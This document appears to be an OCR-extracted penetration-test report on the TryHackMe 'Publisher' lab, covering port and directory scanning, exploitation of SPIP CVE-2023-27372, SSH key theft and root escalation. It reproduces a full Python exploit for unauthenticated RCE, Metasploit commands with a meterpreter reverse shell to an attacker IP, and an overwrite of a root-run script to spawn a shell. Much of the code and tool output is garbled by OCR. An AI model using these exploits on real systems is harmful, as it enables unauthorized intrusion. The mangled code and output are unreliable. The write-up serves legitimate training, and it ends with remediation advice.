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Penetration Testing Report

Publisher Room - TryHackMe

Executive Summary

This report documents the penetration testing of the Publisher room on TryHackMe. The objective was to
enumerate and exploit vulnerabilities to achieve complete ownership of the target machine. The assessment
uncovered several security weaknesses, culminating in successful privilege escalation and root access.

Target Information

e AttackerlIP:10.9.2.42
e Host: 10.10.81.84 ( publisher.thm)

Testing Methodology

Information Gathering
Vulnerability Analysis
Exploitation
Post-Exploitation
Privilege Escalation

abrowbd-=

Detailed Findings

1. Information Gathering

Nmap Scan Results

Command:

sudo nmap -sV -A -0 -T4 -sC -p- 10.10.81.84
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Output:

PORT

STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.2pl Ubuntu 4ubuntul0.10

80/tcp open http Apache httpd 2.4.41

Nmap sc
Host is up (@.
Not shown: 998 close
PORT STATE SER
ssh

TRACEROUTE (using port
HOP RTT ADD
1 g

05 and 5e
Nmap done:

2. Vulnerability Analysis

Service Enumeration

o Port 80 (HTTP):

o Website running Apache 2.4.41.

( (Ubuntu))

24 17:57 CEST

(Ubuntu Linux; protocol 2.0)

protocol 2.0)

o Default webpage: Publisher's Pulse: SPIP Insights & Tips.

o No significant information from the page source or accessible links.

3. Exploitation

Directory Bruteforce with Gobuster / DirBuster

Wordlist:

/usr/share/seclists/SecLists-master/Discovery/Web-Content/big.txt

nmap.org/submit/
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or
/usr/share/wordlists/dirbuster/directory-1list-2.3-medium.txt

Dirbuster Scan Results

File Options About Help

Target URL (eg http://example.com:80/)

http://10.10.81.84

Work Method () Use GET requests only (2) Auto Switch (HEAD and GET)
Number Of Threads :C‘ 1 10 Threads [ |Go Faster
Select scanning type: (%) List based brute force () Pure Brute Force

File with list of dirs/files

jusr/sharefwordlists/dirbuster/directory-list-2.3-medium. txt | f;; Browse | | @ List Info

Char set |a2A-Z0-9%20-_ | Min length Max Length I:I

Select starting options: (2) Standard start point (0 URL Fuz

Brute Force Dirs Be Recursive Dir to start with |f

Brute Force Files [] Use Blank Extension File extension |php

URL to fuz - ftest.html?url={dir}.asp

ETET | > start
DirBuster Stopped fspip/configlbases/1408/

File ©Options About Help

http:/f10.10.81.84:80/
@ Scan Information ', Results - List View: Dirs: 14 Files: 7 Results - Tree View |, /\ Errors: 0,

Directory Stucture Response Code | Response Size
200 8933
[ images 200 3234
-3 icons 403 446
=& spip 200 459

~[7 index.php 200 459
#= local 200 2567

[] cacHEDIR.TAG 200 395
3 cache-css 200 178
200 178
200 2176
200 685
200 334
Current speed: 118 requests/sec (Select and right click for more options)

Average speed: (T) 127, (C) 122 requests/sec

Parse Queue Size: 0 Current number of running threads: 10

Total Requests: 73138/6616460 | | Change |

Time To Finish: 14:53:53

| <:-:-II Bacl | | 00 Pause || O stop | Report
Starting dirffile list based brute forcing ficons/bigbrother.php
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Gobuster Scan Results

Command:

gobuster dir -u http://10.10.81.84 -w /usr/share/seclists/SecLists-
master/Discovery/Web-Content/big.txt -o publisher 80.txt -t 100

Output:

/ .htpasswd (Status: 403)

/.htaccess (Status: 403)

/images (Status: 301)

/server-status (Status: 403)
( )

/spip Status: 301

Progress: 20476 / 20477 (100

Finished

SPIP Version and Vulnerability

e SPIP Version: 4.2.0 (revealed in page source meta tag : http://10.10.81.84/spip/local/config.txt ).
¢ Vulnerability: Remote Code Execution (Unauthenticated) - CVE-2023-27372: https://www.exploit-
db.com/exploits/51536 .

Exploit:
python

#!/usr/bin/env python3
# —-*- coding: utf-8 -*-

Exploit Title: SPIP v4.2.1 - Remote Code Execution (Unauthenticated)
Google Dork: inurl:"/spip.php?page=login"

Date: 19/06/2023

Exploit Author: nuts7 (https://github.com/nuts7/CVE-2023-27372)

Vendor Homepage: https://www.spip.net/

Software Link: https://files.spip.net/spip/archives/

Version: < 4.2.1 (Except few fixed versions indicated in the description)
Tested on: Ubuntu 20.04.3 LTS, SPIP 4.0.0

CVE reference : CVE-2023-27372 (coiffeur)

CVSS : 9.8 (Critical)

S oo e S SR SR R e e 3 3
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# Vulnerability Description:

#

# SPIP before 4.2.1 allows Remote Code Execution via form values in the public area
because serialization is mishandled. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. The
fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.

# This PoC exploits a PHP code injection in SPIP. The vulnerability exists in the
‘oubli® parameter and allows an unauthenticated user to execute arbitrary commands with
web user privileges.

#

# Usage: python3 CVE-2023-27372.py http://example.com

import argparse
import bs4
import html
import requests

def parseArgs():
parser = argparse.ArgumentParser (description="Poc of CVE-2023-27372 SPIP < 4.2.1 -
Remote Code Execution by nuts7")

parser.add argument ("-u", "--url", default=None, required=True, help="SPIP
application base URL")

parser.add argument ("-c", "--command", default=None, required=True, help="Command
to execute")

parser.add argument ("-v", "--verbose", default=False, action="store true",

help="Verbose mode. (default: False)")
return parser.parse_args ()

def get anticsrf (url):
r = requests.get ('%s/spip.php?page=spip pass' % url, timeout=10)
soup = bs4.BeautifulSoup(r.text, 'html.parser')

csrf input = soup.find('input', {'name': 'formulaire action args'})
if csrf input:
csrf value = csrf input('value']
if options.verbose:
print ("[+] Anti-CSRF token found : %$s" % csrf value)

return csrf value

else:
print ("[-] Unable to find Anti-CSRF token")
return -1

def send payload(url, payload):

data = {
upageu . "spip_pass",
"formulaire action": "oubli",
"formulaire action args": csrf,

"oubli": payload
}
r = requests.post('%s/spip.php?page=spip pass' % url, data=data)
if options.verbose:
print (" [+] Execute this payload : %$s" % payload)
return O

if name == ' main
options = parseArgs()

requests.packages.urllib3.disable warnings ()
requests.packages.urllib3.util.ssl .DEFAULT CIPHERS += ':HIGH:!DH:!aNULL'
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try:
requests.packages.urllib3.contrib.pyopenssl.util.ssl .DEFAULT CIPHERS +=
':HIGH:!DH:!aNULL'
except AttributeError:
pass
csrf = get anticsrf (url=options.url)
send payload (url=options.url, payload="s:%s:\"<?php system('%s'); 2>\";" % (20 +
len (options.command), options.command))

Exploit with Metasploit

To exploit a remote code execution (RCE) vulnerability in SPIP v4.2.0 and obtain sensitive information
from the target machine.

Tools Used:

e Metasploit Framework
o Exploit script for SPIP v4.2.0 (SPIP Remote Code Execution)

Commands:

Bash

searchsploit SPIP v4.2.0 - Remote Code Execution

4.2.0 - Remote Code Execution

Exploit Title

= (Unauthenticated) | php/webapps/51536.py

Shellcodes: No Results

msfconsole —qg

search SPIP

use exploit/unix/webapp/spip rce form
set uripath /spip.php?page=login

set targeturi http://10.10.81.84/spip
set lhost 10.9.2.42

set rhosts 10.10.81.84

exploit
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options
form):
escription
in of format type:host:port[,type:host:port][ ... ]

ee https://docs.metasploit.com/docs/using-metasp
sploit.html

] SL cer ica ault is randomly ge
a path to SPIP

URIPATH RI to u for this ploit (de is random)

VHOST e r virtual host

Reguired

SRVHOST 0.0.0. yes

SRVPORT

Payload options (php/meterprete
Required Description

interf

View the full module info with the r fo -d command.

Description
SPIP connect P: eter PHP Inj
SPIP form PHP Injection

Automatic
Aut i

with a module by name or ind ¢ 0 3 se 3 or
eracting with a module you can manually set a with
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msf6 exploit( ) > options
Module options (exploi ix/webapp/spip_rce_form):
Reguired
in of format type e
The target host(s), see https: C etasploit.com/docs
1 ics/using-metasploit.html
)]
ault is randomly generat
TARGETURI & 5 base path to SPIP application
URIPATH ip. 3 g The URI to use for this loit (default is random)
VHOST HTTP server virtual host
When CMDSTAGER :: FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_inveo brequest,ftp_http:
Current Setting Required Description
/HOST ©.0.0.0 y The local host or networ ; ce to listen on. This must be :

ss on t L ine 8.0.8 to listen on all addre
SRVPORT 82088 Ve The local port to listen on.

5Ees5.

yload options (php/meterpreter/reverse_tcp):

Name ( nt Setting Required Description

LHOST 43 \ The listen address
LPORT 4444 \ The listen port

w the full module info with the F o r fo -d command.

#187-Ubuntu SMP Thu
php/linux

5

Result: Command executed and confirmed remote code execution.
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Discover What is the user flag?

Commands:

/bin/sh -1
1ls -1la

cd /home

cd think

1ls —-1la

cat user.txt

think
thin
root
think
think
t id_rsa
BEGIN OPENSSH

XG/E9%y f : j 51 4 feH71]
feo0DSqQsuly I j/a ‘k APcncuMQ

ayYmyfFcxapi : CYNF yip: OF3DMPPtQLF

SuFF6ygEn/J awjBs £ cotuti MUg hCwqc
cnb+/GODTX . ' ( .

8ydu L f Jb/q50RIGTYId
: i y FUBZDUMgLTOM

DbOLhbfRF/KTRO7 W
S56PRZ/HAQfZovFlzgChx 5 m LMs
IgbAAAAWQDNTuUH
RilLeZU/DTAFPiR+B6W
AXaUXpImULTLL6on7
KrFI LNAJ3kLWKSS

—END OPENS

Result: Successfully retrieved SSH private key for user think.
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4. Post-Exploitation
SSH Access

Commands:

touch id rsa
chmod 600 id rsa
ssh -i id rsa think@10.10.81.84

-1 id_rsa thinkgl@.10 5
uthenticity of host '1 8 L 1 1 ) c lished.
19 y fin print is SHA 5 5 / MPSTqPAOS .
/ ¢ the fol :

Documentation:
gement : 24 pe
com/:

@:07 PM UTC

d in:

f

Expanded Security Maintenance for Applications
e applied immediately.

additional future
sm or run: sudo pro

Last login: Mon Feb 12 2
Result: Successfully logged in as user think.

Enumeration

Commands:

uname -a
id

ifconfig
netstat -tulnp
ps aux

Results:

e OS: Ubuntu Linux
e User: think
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o Kernel: Various details about running processes and services.

5. Privilege Escalation
SUID Binary Exploitation

Finding SUID Binaries:

find / -type f -user root -perm /4000 2>/dev/null
strings /usr/sbin/run container

$ find / -type f -user root -perm /400
fusr/lib/policykit-1/polkit-agent-helpe
fusr/lib/openssh/ssh-
Jusr/lib/eject/dmcrypt
Jusr/1ib/dbu .0/dbus-d
Jusr/lib/xorg/Xorg.wrap
fusr/sbin/pppd
/usr/sbin/run_container
fusr/bin/fu
/usr/bin/gpass:
fusr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
fusr/bin/passwd
J/usr/bin/mount
/usr/bin/su

Jusr/bin/pk

Jusr/bin/umount

thinkgpublisher: $| strings /usr/sbin/run_container
/1ib64/1d-1inux !

/bin/ba
run_container.sh

ummy
_dummy_init_ar entry

Analysis: Identified unusual SUID binary and script in /opt/run container.sh.
Discover What is the root flag?

Exploitation:

1s -1 /opt/run container.sh
echo -e '#! /bin/bash\n/bin/bash -ip' > /opt/run container.sh
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cat /opt/run container.sh
/opt/run container
/usr/sbin/run_container

#! /bin/bash
/bin/bash -i

root
root
root

root

root 4096

root 4096

root 4@96 ]

root 9

root 161

root 73 .

root 4096 Dec . .ssh

root p. e 20: .viminfo

root = g 2 @ root.txt
k think 4096 Dec 7 spip

Result: Obtained root shell.

Flags

e UserFlag: xxxxxx
¢ Root Flag: xxxxxx

Recommendations

1. Update and Patch Vulnerable Software:
o Ensure the SPIP application is updated to the latest version to mitigate known vulnerabilities.
2. Secure Configuration:
o Restrict access to sensitive directories and files such as .htaccess and .htpasswd.
o Implement proper access controls to prevent unauthorized users from modifying critical scripts
and binaries.
3. Network Security:
o Limit exposure of services like SSH to the internal network or trusted IP addresses.
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o Implement proper firewall rules to minimize the attack surface.
4. Monitoring and Incident Response:

o Setup monitoring to detect and alert on unusual activities such as unauthorized file
modifications.

o Conduct regular security assessments and audits to identify and mitigate potential
vulnerabilities.

Conclusion

The assessment of the Publisher room on TryHackMe highlighted significant security flaws that allowed for
remote code execution, access to sensitive credentials, and privilege escalation. By addressing the identified
issues, the security posture of the system can be significantly improved.
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